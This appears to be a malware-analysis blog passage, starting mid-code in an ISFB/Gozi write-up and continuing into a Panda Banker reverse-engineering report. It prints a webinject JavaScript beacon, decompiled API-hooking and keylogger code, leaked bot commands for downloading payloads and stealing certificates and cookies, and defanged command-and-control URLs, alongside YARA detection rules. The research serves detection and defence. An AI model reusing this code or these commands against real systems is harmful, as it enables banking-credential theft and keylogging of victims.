if((document.readyState&&document.readyState=="complete")||\
(document.body&&document.body.readyState=="complete")){
if(document.body&&document.body.nodeName.toUpperCase()!="FRAMESET"){
if(!document.getElementById("js_com_1_qweqwe")){\

String.prototype.fAkETitle=
document.getElementsByTagName('title').length>0?document.getElementsByTagName('title')[0].innerHTML:"doc. have frame";
''.fAkEMakeElem("c=1&at=2&n=@ID@&b=TARGETED_BANK_URL/"+"&d="+encodeURIComponent(document.domain)
+"&doc_url="+encodeURIComponent(document.location.href)+"&doc_title="+encodeURIComponent(''.fAkETitle)+"&r="+Number(new Date()),
function(){document.body.style.visibility = "visible";},"script","js_com_1_qweqwe",false);
};
}else{
document.body.style.visibility = "visible";
}
}else{setTimeout(function(){''.fAkEstart()},1000);}
};''.fAkEstart();
}

IX. Yara Signature
A. ISFB v2.17 “loader.dll” (32-bit) version

rule crime_win32_isfb_v217_loader_dll {
meta:
description = "Detects ISFB loader.dll version 2.17 Aug 20, 2018"
author = "@VK_Intel"
date = "2018-08-28"
hash1 = "d3254467f310f5de9387119d9ec572f045286df70747ca97d99a993eca3efa23"
strings:
$x1 = "/C powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\\%S').%s))" fullword wide
$s0 = ".bss" fullword wide
$s1 = "GetBinaryValue" fullword wide
$s2 = "loader.dll" fullword ascii
$s3 = "/C \"copy \"%s\" \"%s\" /y && rundll32 \"%s\",%S\"" fullword wide
$s4 = "/C ping localhost -n %u && del \"%s\"" fullword wide
condition:
( uint16(0) == 0x5a4d and
filesize < 100KB and
pe.imphash() == "d7f06c756511270cacf97147c81ebb0b" and
( 1 of ($x*) or 4 of them )
) or ( 5 of them )
}

B. ISFB v2.16/2.17 “client.dll” (32-bit) version

rule crime_win32_isfb_v216_217__client_dll {
meta:
description = "Detecs Unpacked Gozi ISFB v. 2.16 variant client32.dll"
author = "@VK_Intel"
date = "2018-08-25"
hash1 = "5df8714c8ab4675681d45f5cc1408ce734010ccf179fb6386304e6194568b60a"
strings:
$x1 = ".bss" fullword ascii
$s1 = "PluginRegisterCallbacks" fullword ascii
$s2 = "Client" fullword ascii
$s3 = "TorClient" fullword ascii
$s4 = "client.dll" fullword ascii
$s5 = ".jpeg" fullword ascii
$s6 = ".bmp" fullword ascii
$s7 = "nslookup myip.oOutlinpendns.com resolver1.opendns.com" fullword ascii
condition:
( uint16(0) == 0x5a4d and
filesize < 500KB and
( 1 of ($x*) and 4 of them )
) or ( all of them )
}

X. Addendum
A. Extracted ISFB Configuration*

Config Fail Timeout     [u'1200']
Send Timeout [u'240']
Knocker Timeout [u'300']
DGA Season [u'10']
Botnet ID [u'1000']
DGA TLDs [[u'com', u'ru', u'org']]
IP Service [u'curlmyip[.]net']
BC Timeout [u'10']
Timer [u'20']
Server [u'110']
64-bit DLL URLs [[u'zjsgyyq[.]com/leader/pdf.zip', u'portaldobomretiro[.]net/wp-admin/network/2.bin', u'colourshield[.]com/m1/pdd.rtf', u'mukeshjshah[.]com/admuin/litecoin.rar', u'petras[.]name/fotos/zek.dmg', u'sbmpowisle.dag[.]pl/js/989999.sh', u'cdn.robatop[.]at/jvassets/zarch/xx.dmg']]
Encryption key [u'Nf6lU8d5X0i1Wr7V']
Value 11 [u'1']
Config Timeout [u'1200']
DGA CRC [u'0x4eb7d2ca']
Domains [[u'inc.robatop[.]at/wpapi', u'torafy[.]cn/wpapi', u'app.tohio[.]at/wpapi', u'scr.tohio[.]at/wpapi', u'yraco[.]cn/wpapi', u'poi.robatop[.]at/wpapi', u'login.cdrome[.]at/wpapi', u'az.popdel[.]at/wpapi', u'io.ledal[.]at/wpapi', u'in.ledal[.]at/wpapi', u'api.galio[.]at/wpapi', u'ssl.lottos[.]at/wpapi', u'harent[.]cn/wpapi']]
DGA Base URL [u'constitution[.]org/usdeclar.txt']
Task Timeout [u'240']
TOR Domains [[u'4fsq3wnmms6xqybt[.]onion/wpapi', u'em2eddryi6ptkcnh[.]onion/wpapi', u'nap7zb4gtnzwmxsv[.]onion/wpapi', u't7yz3cihrrzalznq[.]onion/wpapi']]
32-bit DLL URLs [u'zjsgyyq[.]com/leader/doc.zip', u'portaldobomretiro[.]net/wp-admin/network/1.bin', u'colourshield[.]com/m1/dll.rtf', u'mukeshjshah[.]com/admuin/coin.rar', u'petras[.]name/fotos/dash.dmg', u'sbmpowisle.dag[.]pl/js/757575.sh', u'cdn.robatop[.]at/jvassets/zarch/x.rar']]

*Cape Sandbox
B. Hooked APIs

Mozilla Firefox:
PR_Read
PR_Write
PR_Close
PR_Poll

Internet Explorer:
InternetReadFile
InternetWriteFile
InternetReadFileExA
InternetReadFileExW
HttpSendRequestA
HttpSendRequestW
HttpSendRequestExA
HttpSendRequestExW
InternetCloseHandle
InternetQueryDataAvailable
InternetStatusCallback
InternetConnectA
InternetConnectW
HttpQueryInfoA
HttpQueryInfoW
HttpAddRequestHeadersA
HttpAddRequestHeadersW
HttpOpenRequestW
InternetSetStatusCallback

Windows Explorer:
CreateProcessA
CreateProcessW
CreateProcessAsUserA
CreateProcessAsUserW

Windows Explorer:
RegGetValueW
RegQueryValueExW

Google Chrome & Opera Browser:
WSARecv
WSASend
closesocket
recv
LoadLibraryExW

Advapi32.dll:
CryptGetUserKey

C. Original Commands from Leaked ISFB v2.13* in Russian

GET_CERTS - экспортировать и выслать сертификаты, установленные в системном хранилище Windows. 
Для XP выгружает, также, неэкспортируемые сертификаты.
GET_COOKIES - собрать cookie FF и IE, SOL-файлы Flash, упаковать их с сохранением структуры
каталогов и выслать на сервер.
CLR_COOKIES - удалить cookie FF и IE, SOL-файлы Flash.
GET_SYSINFO - собрать системную информацию: тип процессора, версию ОС, список процессов, список
драйверов, список установленных программ.
KILL - убить ОС (работает только с правами администратора)
REBOOT - перезагрузить ОС
GROUP=n - сменить ID группы бота на n
LOAD_EXE=URL - загрузить файл с указанного URL и запустить его
LOAD_REG_EXE=URL- загрузить файл с указанного URL, зарегистрировать его в autirun и запустить
LOAD_UPDATE=URL - загрузить апдейт программы и запустить
GET_LOG - отправить внутренний лог на сервер
GET_FILES=* - найти все файлы, соответствующие заданной маске, и отправить на сервер
SLEEP=n - остановить обработку очереди команд на n миллисекунд. (используется при долгих операциях)
SEND_ALL - отправить все данные из очереди на отправку немедленно. В противном случае, данные оправляются
по таймеру.
LOAD_DLL=URL[,URL] - загрузить по указанному URL DLL и инжектить её в процесс explorer.exe.
первый URL для 32х-битной DLL, второй - для 64х-битной.

SOCKS_START=IP:PORT - запустить сокс4\5 сервер (при его наличии)
SOCKS_STOP - остановить сокс4\5 сервер

GET_KEYLOG - отправить данные кейлоггера (при его наличии)
GET_MAIL - активировать граббер E-Mail (при наличии) и отправить, полученные от него, данные
GET_FTP - активировать граббер FTP (при наличии) и отправить, полученные от него, данные

SELF_DELETE - удалить софт из системы, включая все файлы и ключи реестра

URL_BLOCK=URL - заблокировать доступ ко всем URL удовлетворяющим заданной маске
URL_UNBLOCK=URL - разблокировать доступ к URL, удовлетворяющим заданной маске, ранее заблокированным командой URL_BLOCK
FORMS_ON - включить граббер HTTP форм (если есть дефайн _ALWAYS_HTTPS, то граббер HTTPs остаётся включен всегда)
FORMS_OFF - отключить граббер HTTP форм
KEYLOG_ON[= list] - включить кейлог, для заданного списка процессов
KEYLOG_OFF - отключить кейлог
LOAD_INI=URL - загрузить упакованный INI-файл с указанного URL, сохранить его в рееестре и использовать вместо INI-файла,
прикреплённого к софту с помощью билдера. INI-файл должен быть упакован и подписан.

LOAD_REG_DLL = name, URL[,URL] - загрузить DLL по указанному URL, сохранить её под заданным именем и зарегистрировать для
автоматической загрузки после каждого запуска системы
UNREG_DLL = name - удалить из автоматической загрузки DLL c заданным именем

D. ISFB client.dll “RM3” Function and Debug Statements

LdrStartLoaderProcess
[%s:%u] RM3 loader version %u.%u build %u on Windows %u.%u.%u %s
Ldr2LoadIni
[%s:%u] Attached LOADER.INI signature check failed, error %u
[%s:%u] No attached LOADER.INI found
Ldr2LoadFile
[%s:%u] File 0x%X of %u bytes is received over HTTP
[%s:%u] File 0x%X has an invalid signature
[%s:%u] Failed to receive file 0x%X, error %u
LdrIsElevated
[%s:%u] IsElevated = %u, IntegrityLevel = %u
Ldr2GetLoaderModule
[%s:%u] A startup module of %u bytes is received
[%s:%u] Invalid STARTUP module is supplied
[%s:%u] Failed to load a STARTUP module, error %u
Ldr2SaveModulesToRegistry
[%s:%u] Error 0x%X writing value "%S" of key "%S"
[%s:%u] Error 0x%X creating 0x%X hive subkey: "%S"
Ldr2SaveAllModules
[%s:%u] Error %u writing 64-bit modules to the key "%S"
[%s:%u] Error %u writing 32-bit modules to the key "%S"
[%s:%u] Error %u creating hive 0x%X key "%S"
Ldr2MakeRunRecord
[%s:%u] Not enough memory (%u)
Ldr2RegEnumCallback
[%s:%u] Error %u writing autorun value of "%S"
[%s:%u] Error %u writing startup script to the regstry value: "%S\%S"
[%s:%u] Error %u saving all module to key: "%S"
Ldr2MakeEncodedImage
[%s:%u] Invalid PE/PEX module BL.DLL
[%s:%u] BlExecuteDllImage() export is not found
[%s:%u] Invalid PE/PEX module size of BL.DLL
ReplaceSubStr
Ldr2SetupModules
[%s:%u] Integrity level: 0x%x, required elevation
[%s:%u] Elevation failed
[%s:%u] Loading a startup module
[%s:%u] Waiting for %u seconds
[%s:%u] Walking through the registry
[%s:%u] Walking through the registry failed, error %u
[%s:%u] Failed to make a startup script, error %u
[%s:%u] Restarting the loader executable from "%S"
[%s:%u] Successfully restarted
[%s:%u] Failed to restart the loader executable, error %u
Ldr2LoadModules
[%s:%u] An empty page received, exiting the loader
[%s:%u] Error %u(0x%X) downloading module 0x%X of %u
Ldr2DisableIeDialogs
[%s:%u] Error 0x%X writing key value: "%S\%S"
Ldr2LoaderMain
[%s:%u] Staying idle for %u seconds
[%s:%u] Main loop is active, loading modules
[%s:%u] Main loop is ended. %u modules are loaded, status: %u
[%s:%u] The shutdown event fired or an error occured, exiting
[%s:%u] Error %u creating the main loop timer

Let’s Learn: Dissecting Panda Banker & Modules: Webinject, Grabber & Keylogger DLL Modules

Goal: Reverse engineer the latest Panda Banker malware and detail the modules associated with the popular malware. The research aims to  fill researcher gaps with the detailed information related to Panda modules and their detection.

https://platform.twitter.com/widgets.js Source
Panda Loader packed (MD5: 97820f5167ede76dc466efdd239a5ba4)
Panda Core unpacked(MD5: 08124df7f51280af3c99360e0a80e9c8)
Panda LibInject x86 (32-bit) DLL Module “libinject.dll” (MD5: eb92c528455f5b14dd971e7126f6271f)
Panda Grabber x86 (32-bit) DLL Module “grabber.dll” (MD5:  b830680a74a9fb0e71a59df57ab36f3d)
Panda Keylogger x86 (32-bit) Module “keylogger32.dll” (MD5: 487e09c2da9e59fbc7f0690bf08a7a7e)
Panda Webinject x86 (32-bit) DLL Client (MD5: c310165d1a438031d7781eb623f64872)
Outline:

I. Background
II. Panda Webinject x86 (32-bit) DLL Client
III. Hooking Engine: "MinHook"-like Library
IV. Panda x86 (32-bit) "grabber.dll" Module
V. Panda x86 (32-bit) "keylogger32.dll" Module: RAWINPUT
VI. Yara Signature
A. Panda Grabber Module
B. Panda Keylogger Module
C. Panda Webinject Client
VII. Appendix
A. Dynamic Configuration
B. Panda Command-and-Control Server
C. Hooked APIs

Analysis:
I. Background
Panda Banker is an information-stealing malware that leverages various methods to steal data from compromised machines including webinjects to steal financial credentials and keylogger module for intecepting keys.
GDATA previously extensively covered the Panda Banker main functionality, including  but not not limited to its extensive anti-analysis techniques. I highly recommend reading this paper before learning more about Panda. 
Panda is a known Zeus banker derivative and shares significant code overlap with the original leaked Zeus 2.0.8.9. By and large, Panda banker remains to be one of the most popular banking malware available on the crimeware scene that is available for sale for $7,500 USD in its basic functionality.
Some of the advertised capabilities  are as follows:

Formgrabber for Internet Explorer (IE), Chrome, and Firefox
Grabber for screenshots, passwords, cookies, certifications,
credit cards
POP3/FTP
File Search
SOCKS support
Virtual Network Computing (VNC)
Injects

Previously, I extensively covered its injection technique as part of the Panda banker libinject.dll leveraging “AcInitialize” and “AdInjectDll” export functions. ZwWow64QueryInformationProcess64-ZwWow64ReadVirtualMemory64 are used for searching NTDLL in PEB, then for searching API addresses required for work of injecting DLL module (x32/x64) which is being located in AP “svchost” by using NtCreateSection-NtMapViewOfSection-NtUnmapViewOfSection ResumeThread-Sleep-SuspendThread are used for unmapping and injecting the payload into the main thread.

  • AcInitialize: size_t function type that initializes the structures necessary for the injection export function.
  • AdInjectDll: DWORD function type that performs the process injection with the argument with the desired process ID (PID) as an argument of the DWRD type.
II. Panda Webinject x86 (32-bit) Client
Panda banker stores both local and dynamic configuration in JavaScript format that used for command-and-control and subsequent communications. The local configuration is as follows of the exe type that is used in conjunction with the stored public key:

///////////////////////////////////////////////////
///////////// Basic Panda URL config //////////////
///////////////////////////////////////////////////
"generated_url":["47[.]com/rcfig.dat", "98[.]net/rcfig.dat","10[.]net/rcong.dat",
"98[.]net/vgt.dat"]

The dynamic configuration is parsed for the following values:

//////////////////////////////////////////////////////////////////////////
/////////////////////// Panda ParseDynamicConfig *shortened //////////////
//////////////////////////////////////////////////////////////////////////
void *__cdecl parse_dynamic_config(int a1)
{
const char *grab_value;

grab_value = 0;
switch ( a1 )
{
case 0:
grab_value = "created";
break;
case 1:
grab_value = "botnet";
break;
case 2:
grab_value = "check_config";
break;
case 3:
grab_value = "send_report";
break;
case 4:
grab_value = "check_update";
break;
case 5:
grab_value = "url_config";
break;
case 6:
grab_value = "url_webinjects";
break;
case 7:
grab_value = "url_update";
break;
case 8:
grab_value = "url_plugin_vnc32";
break;
case 9:
grab_value = "url_plugin_vnc64";
break;
case 10:
grab_value = "url_plugin_vnc_backserver";
break;
case 11:
grab_value = "url_plugin_grabber";
break;
case 12:
grab_value = "url_plugin_backsocks";
break;
case 13:
grab_value = "url_plugin_backsocks_backserver";
break;
case 14:

Additionally, the bot checks machine software and runs various WMI queries to populate the data about the infected machine such as:

Select * from AntiVirusProduct
Select * from AntiSpywareProduct
Select * from FirewallProduct

The bot also generates information object about the infected machine. The elongated version is as follows:

//////////////////////////////////////////////////
///////////// Elongated Panda BotInfo ////////////
//////////////////////////////////////////////////
"BotInfo": {
"systime": UNIX,
"process": "svchost.exe",
"user": "MACHINE",
"id": "BOT",
"botnet": "2.6.9",
"version": "2.6.10",
"os": {
"version": INT,
"sp": INT,
"build": INT,
"bit": INT,
"server": INT,
"lang": INT,
"explorer": INT
"File":
"name": "webinjects.dat",
"antivirus": DWORD,
"antispyware": DWORD.
"firewall": DWORD,
}
Panda injects its main bot after the successful infection to hook various browser API, TranslateMessage, and GetClipboardData. The main injected contains 354 functions.
The main injected bot INT-type function is as follows: 

//////////////////////////////////////////////////////////////////////////
///////////////////////// Panda MainInject Function //////////////////////
//////////////////////////////////////////////////////////////////////////
int Panda_main_inject()
{
int result;
HMODULE user32_1;
HMODULE user32;

result = Hook_Initialize();
if ( !result )
{
Addend = 0;
dword_1001047C = (int)sub_10006122;
user32_1 = GetModuleHandleW(L"user32.dll");
*(_DWORD *)TranslateMessage_0 = GetProcAddress(user32_1, "TranslateMessage");
dword_10010488 = (int)sub_10006077;
user32 = GetModuleHandleW(L"user32.dll");
*(_DWORD *)GetClipboardData = GetProcAddress(user32, "GetClipboardData");
hook_main_entrance((int)TranslateMessage_0, 2u);
hook_ie();
hook_firefox();
hook_wsa_chrome_check_opera();
result = EnableHook(0);
}
return result;
}

III. Hooking Engine: “MinHook”-like Library

Panda Banker utilizes a “MinHook”-like hooking engine to hook various API of interest. MinHook is a known minimalistic x86/x64 API hooking library for Windows that is leveraged by various banking malware (most notoriously, TinyNuke banker) to hook various browser API for information-stealing purposes.
For example, Panda uses this routine to enable hooks for Mozilla Firefox browser API calls PR_Close, PR_Read, PR_Write, and PR_Poll from nss3.dll.

The CreateHook function sequence is as follows:

The CreateHook function sequence -> “EnterSpinLock” (via InterlockedCompareExchange API call) -> checks if “IsExecutableAddress” (via VirtualQuery API call with Buffer.State and Buffer.Protect check for executable)  -> “FindHookEntry” (DWORD entry) -> “AllocateBuffer” (via VirtualAlloc API call) -> “CreateTrampolineFunction” ->  if not entry “AddHookEntry” -> “FreeBuffer” -> “LeaveSpinLock”.
By and large, the Panda hooking engine works by replacing the prologue of the targeted API call with the unconditional JMP to the detour function.
Panda enables its hooks as as follows leveraging VirtualProtect with the usual pJmp->opcode = 0xE9 (32-bit relative JMP).
The pseudo-coded C++ EnableHook function is as follows:

//////////////////////////////////////////////////////////////////////////
///////////////////////// Panda EnableHook Function //////////////////////
//////////////////////////////////////////////////////////////////////////
signed int __fastcall Panda_EnableHook(int a1, int patch_above)
{

hook_entry = patch_above;
v3 = lpMem + 44 * a1;
patchSize = 5;
v10 = patch_above;
dwSize = 5;
v5 = (*(_BYTE *)(v3 + 20) & 1) == 0;
pPatchTarget = *(_WORD **)v3;
v13 = *(_WORD **)v3;
if ( !v5 )
{
pPatchTarget = (_WORD *)((char *)pPatchTarget - 5);
patchSize = 7;
v13 = pPatchTarget;
dwSize = 7;
}
if ( VirtualProtect(pPatchTarget, patchSize, 0x40u, &flOldProtect) )
{
if ( hook_entry )
{ // enable hook
*(_BYTE *)pPatchTarget = 0xE9u; // jump relative opcode 0xe9
*(_DWORD *)((char *)pPatchTarget + 1) = *(_DWORD *)(v3 + 4) - (_DWORD)pPatchTarget - 5;
if ( *(_BYTE *)(v3 + 0x14) & 1 )
**(_WORD **)v3 = 0xF9EBu;
}
else if ( *(_BYTE *)(v3 + 0x14) & 1 )
{
*(_DWORD *)pPatchTarget = *(_DWORD *)(v3 + 0xC);
v8 = (int)(pPatchTarget + 2);
*(_WORD *)v8 = *(_WORD *)(v3 + 0x10);
*(_BYTE *)(v8 + 2) = *(_BYTE *)(v3 + 0x12);
pPatchTarget = v13;
}
else
{
*(_DWORD *)pPatchTarget = *(_DWORD *)(v3 + 12);
*((_BYTE *)pPatchTarget + 4) = *(_BYTE *)(v3 + 16);
}
VirtualProtect(pPatchTarget, dwSize, flOldProtect, &flOldProtect);
v9 = GetCurrentProcess();
FlushInstructionCache(v9, pPatchTarget, dwSize);
result = 0;
*(_BYTE *)(v3 + 20) = 4 * (v10 & 1) | (*(_BYTE *)(v3 + 20) & 0xFD | 2 * (v10 & 1)) & 0xFB;
}
else
{
result = 10;
}
return result;
}

IV. Panda x86 (32-bit) “grabber.dll” Module
Panda leverages and injects into svchost.exe the module called internally “grabber.dll.” This module contains 336 functions.

The module designed to steal stored information from various software applications as as well as delete it as necessary in order to force the victim to enter it again to be stolen by the malware.

Name Address Ordinal
DeleteCache 10003E10 1
DeleteCookies 10003E4A 2
DeleteFlash 10003E89 3
GrabCertificates 10004D7B 4
GrabCookies 10004DDB 5
GrabFlash 10005106 6
GrabForms 10005139 7
GrabPasswords 100053C9 8
GrabSoftList 100054CD 9
DllEntryPoint 1000118A [main entry]

The brief outline of all the functions is as follows:
A. “GrabSoftList” function (ordinal 9) as temporarily stored “softlist.txt”
The malware opens a registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” and enumerates keys “UninstallString” and “DisplayName” via RegEnumKeyExW API to obtain a list of installed software
B. “GrabCertificates” function (ordinal 4) 
Panda opens the so-called “certificate store” to query for certificates via the following API calls: 

  • CertOpenSystemStoreW
  • CertEnumCertificatesInStore
  • PFXExportCertStoreEx(…, &pPFX, L”password”, 0, 4)
  • GetSystemTime
  • CertCloseStore

The malware stores the cerificafres in the following format:
certs\\%s\\%s_%02u_%02u_%04u.pfx (pPFX.pbData, pPFX.cbData)
C. “GrabCookies” function (ordinal 5) as temporarily stored cookies.txt
Panda grabs cookies from the following browser grab calls:

  • InternetExplorerGetCookies (local search as “*.txt” in APPDATA\Low)
  • MicrosoftEdgeGetCookies (local search as Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe)
  • FirefoxGetCookies (local search as Mozilla\Firefox for “cookies.sqlite”)
  • ChromeGetCookies (local search as Google\Chrome for “cookies”)
  • OperaGetCookies (local search as Opera Software for “cookies”)

D. “GrabForms” function (ordinal 7) as temporarily “autoforms.txt”
The malware steals stored form data from browser application as follows:

  • Internet_Explorer -> registry “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\FormData”
  • Google Chrome ->  “Google\Chrome” for “web data”
  • Mozilla Firefox -> “Mozilla\Firefox” for “formhistory.sqlite”
  • Opera -> “Opera Software” for “web data”

E. GrabFlash” function (ordinal 6)
Panda grabs Flashplayer persistent cookie information in 
“APPDATA Macromedia\Flash Player” for “*.sol” and “flashplayer.cab.”
F. “GrabPasswords” function (ordinal 8) as temporarily  “passwords.txt”
The malware steals passwords from the following software:

InternetExplorer 
Mozilla Firefox (registry parser method)
Google Chrome (local file searcher)
Opera (local file searcher)
Microsoft Outlook (registry parser method)
Windows LiveMail(registry parser method)
Thunderbird (registry parser method)
FireFTP (registry parser method)
WinSCP (registry parser method)
TotalCommander (registry and local parser method)
FileZilla (registry parser method)
CuteFTP (registry and local parser method
)

For example, the malware steals Internet Explorer passwords via 
multiple methods:

  • Grabs passwords via “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2” for stored autocomplete Internet Explorer credentials.
  • Enumerates the credentials using the CredEnumerateW API while filtering with “Microsoft_WinInet_.” The credentials are then decrypted using CryptUnprotectData in conjunction with the GUID “abe2869f-9b47-4cd9-a358-c22904dba7f7” as the decryption salt.
  • Leverages Windows Vault API to enumerate and extract credentials stored by Microsoft Windows Vault. 

The stolen information is stored as follows:
“Soft: %s\tType: %s\tHost : %S\tUser : %S\tPass : %S\r\n”
G. “DeleteFlash,” “DeleteCookies,” and “DeleteCache” functions (ordinal 3, 2, 1 respectively)
Panda leverages these functions to remove and reset various cached and stored credentials and force the victim to enter them again with the goal to intercept them at the point of victim reentry of them.
V. Panda x86 (32-bit) “keylogger32.dll” Module: RAWINPUT Method
The malware also deploys a custom keylogger32.dll module to steal keyed data as well as to grab screenshots and intercept copied clipboard data leveraging “RAWINPUT” method.

The following exports as used as part of the module:
Name Address Ordinal
LoggerStart 1000209B 1
LoggerStop 1000216B 2
DllEntryPoint 10001105 [main entry]
The main function “LoggerStart” launched keylogger process via a separate thread. The thread sets up execution via CreateWindowExW with lpfnWndProc as a pointer to its function that processes window messages. The very similar keylogger method is described here.
By and large, the keylogger creates the the invisible message only window with the pseudorandom lpszClassName value generated as follows leveraging __rdtsc call (the processor time stamp, which represents the number of clock cycles since the last reset):

/////////////////////////////////////////
// Panda Keylogger Generate ClassName //
/////////////////////////////////////////
v1 = dword_1000522C;
v2 = 0;
do
{
if ( !v1 )
{
v3 = __rdtsc();
v1 = v3;
}
v1 = 214013 * v1 + 2531011;
lpcClassName[v2++] = ((v1 >> 16) & 32767ui64) % 25 + 97;
}

Ultimately, the keylogger passes only the bear minimum values to create an invisible “Message Only Window” as follows:

  • CreateWindowExW(0, v7.lpszClassName, 0, 0, 0, 0, 0, 0, HWND_MESSAGE, 0, v7.hInstance, 0)

Panda uses RegisterRawInputDevices function to register and record calls. The first parameter points to the array of RAWINPUTDEVICE structs.  the GetRawInputData first parameter is a handle to the RAWINPUT structure from the device, whose members are, due to usUsagePage=1 (generic desktop controls)and usUsage=6 (keyboard).
The pressed keys of intereest are processed with MapVirtualKey and translated to characters and saved to a file later.

//////////////////////////////////////// 
//////// Panda Keylogger KeyProcessor //
////////////////////////////////////////
GetWindowTextW_0((int)&v13, v2);
v13 = 0;
v4 = GetWindowThreadProcessId(v2, 0);
dwhkl = GetKeyboardLayout(v4);
v5 = GetCurrentThreadId();
AttachThreadInput(v4, v5, 1);
GetKeyboardState(&KeyState);
v6 = GetCurrentThreadId();
AttachThreadInput(v4, v6, 0);
switch ( uCode )
{
case 8u:
v10 = wsprintfW(&v14, L"[BACKSPACE]");
break;
case 9u:
v10 = wsprintfW(&v14, L"[TAB]");
break;
case 0xDu:
v10 = wsprintfW(&v14, L"[ENTER]");
break;
case 0x1Bu:
v10 = wsprintfW(&v14, L"[ESC]");
break;
case 0x20u:
v10 = wsprintfW(&v14, (LPCWSTR)" ");
break;
default:
v7 = dwhkl;
v8 = MapVirtualKeyExW(uCode, 0, dwhkl);
v9 = v8;
if ( uCode >= 33 && (uCode <= 40 || uCode > 44 && (uCode <= 46 || uCode == 111 || uCode == 144)) )
v9 = v8 | 0x100;
memset(&Dst, 0, 64u);
if ( ToUnicodeEx(uCode, v9, &KeyState, (LPWSTR)&Dst, 32, 0, v7) <= 0 )
{
if ( GetKeyNameTextW((unsigned __int16)v9 << 16, (LPWSTR)&Dst, 32) <= 0 )
return;
v10 = wsprintfW(&v14, L"[%s]", &Dst);
}
else
{
v10 = wsprintfW(&v14, L"%s", &Dst);
byte_10005198 = 0;
}
break;
}
if ( v10 )
Clipboard_wsprintf((int)&v13);
}
}

Additionally, the malware steals copied clipboard data via sequence of OpenClipboard, GetClipboardData, and  SetClipboardViewer  API calls receiving a WM_DRAWCLIPBOARD. The stolen data is stored in the following format with the timestamp:

  • L”\r\n[Clipboard || %s]\r\n”

It is also notable the keylogger malware also has capabilities to JPEG screenshots via the usual GDI library DLL.

VI. Yara Signature
A. Panda Grabber Module
import "pe"

rule crime_win32_panda_banker_grabber_dll {
meta:
description = "Detects Panda Banker grabber.dll module"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "7f85d26b4eb5f704544e2d1af97100f6e3a71b866d4ae2375cc3bbbac2a3f9c9"
strings:
$s1 = "Grabber: OutlookReadPassword - unsupported password type" fullword wide
$s2 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" fullword wide
$s3 = "Grabber: OperaGetCookies - ok" fullword wide
$s4 = "Grabber: GrabTotalCommander - ok" fullword wide
$s5 = "grabber.dll" fullword ascii
$s6 = "Pstorec.dll" fullword wide
$s7 = "SMTP Password" fullword wide
$s8 = "Grabber: GrabPasswords - ok" fullword wide
$s9 = "Grabber: FirefoxGetCookies - ok" fullword wide
$s10 = "Grabber: IEGetCookies - ok" fullword wide
$s11 = "Grabber: ChromeGetCookies - ok" fullword wide
$s12 = "Grabber: EdgeGetCookies - ok" fullword wide
$s13 = "webdav.tappin.com" fullword ascii
$s14 = "passwords.txt" fullword wide
$s15 = "fireFTPsites.dat" fullword wide
$s16 = "certs\\%s\\%s_%02u_%02u_%04u.pfx" fullword wide
$s17 = "Grabber: FirefoxGetCookies - called" fullword wide
$s18 = "Grabber: GrabCuteFTP - ok" fullword wide
condition:
( uint16(0) == 0x5a4d and
filesize < 200KB and
pe.imphash() == "8031528b770e1d9f25f2e64511835e27" and pe.exports("DeleteCache") and pe.exports("DeleteCookies") and pe.exports("DeleteFlash") and pe.exports("GrabCertificates") and pe.exports("GrabCookies") and pe.exports("GrabFlash") and
( 8 of them )
) or ( all of them )
}

B. Panda Keylogger Module

import "pe"

rule crime_win32_panda_banker_keylogger_dll {
meta:
description = "Detects Panda Banker keylogger.dll module"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "99d116c1e3defb75ebde30e5fcca9a78e16889cde3025823a106ed741fad711c"
strings:
$x1 = "keylogger32.dll" fullword ascii
$s2 = "%s%4d-%02d-%02d_%02d-%02d-%02d-%04d.jpg" fullword ascii
$s3 = "LoggerStart" fullword ascii
$s4 = "LoggerStop" fullword ascii
$s5 = ":,:6:R:\\:" fullword ascii

condition:
( uint16(0) == 0x5a4d and
filesize < 40KB and
pe.imphash() == "8c964d45bdb5d28ad0f6d7e92b0efea0" and pe.exports("LoggerStart") and pe.exports("LoggerStop") and
( 1 of ($x*) or all of them )
) or ( all of them )
}

C. Panda Webinject Client

import "pe"

rule crime_win32_panda_banker_webinject_dll_client {
meta:
description = "Detects webinject Panda DLL client"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "6a7ec42e06446d8133e4e6838042a38f6198b54b3664fe6bb4df25537493c2f8"
strings:
$s1 = "opera_browser.dll" fullword wide
$s2 = "microsoftedgecp.exe" fullword wide
$s3 = "microsoftedge.exe" fullword wide
$s4 = "webinjects" fullword ascii
$s5 = "grabbed\\%S_%02u_%02u_%02u.txt" fullword wide
$s6 = "HTTP authentication: username=\"%s\", password=\"%s\"" fullword wide
$s7 = "url_plugin_keylogger" fullword ascii
$s8 = "url_plugin_webinject64" fullword ascii
$s9 = "url_plugin_webinject32" fullword ascii
$s10 = "testinject" fullword ascii
$s11 = "url_webinjects" fullword ascii
$s12 = "webinject%ddata" fullword ascii
$s13 = "screen_process" fullword ascii
$s14 = "notify_process" fullword ascii
$s15 = "keylog_process" fullword ascii
$s16 = "list_blockedinjects" fullword ascii
$s17 = "screenshots\\%s\\%04x_%08x.jpg" fullword wide
$s18 = "HTTP authentication (encoded): %S" fullword wide
$s19 = "inject_vnc" fullword ascii
$s20 = "X-Content-Security-Policy" fullword ascii
condition:
( uint16(0) == 0x5a4d and
filesize < 200KB and
pe.imphash() == "c06f3ba3522256a0075a0d89fb44cd42" and
( 8 of them )
) or ( all of them )
}

VII. Appendix

A. Dynamic Configuration
{
"botnet": "2.6.9",
"check_config": 327685,
"send_report": 327685,
"check_update": 327685,
"url_config": "hXXps://uiaoduiiej.chimkent[.]su/5fewucaopezanxenuzebu.dat",
"url_webinjects": "hXXps://uiaoduiiej.chimkent[.]su/webinjects.dat",
"url_update": "hXXps://uiaoduiiej.chimkent[.]su/5fewucaopezanxenuzebu.exe",
"url_plugin_webinject32": "hXXps://uiaoduiiej.chimkent[.]su/webinject32.bin",
"url_plugin_webinject64": "hXXps://uiaoduiiej.chimkent[.]su/webinject64.bin",
"remove_csp": 1,
"inject_vnc": 1,
"url_plugin_vnc32": "hXXps://uiaoduiiej.chimkent[.]su/vnc32.bin",
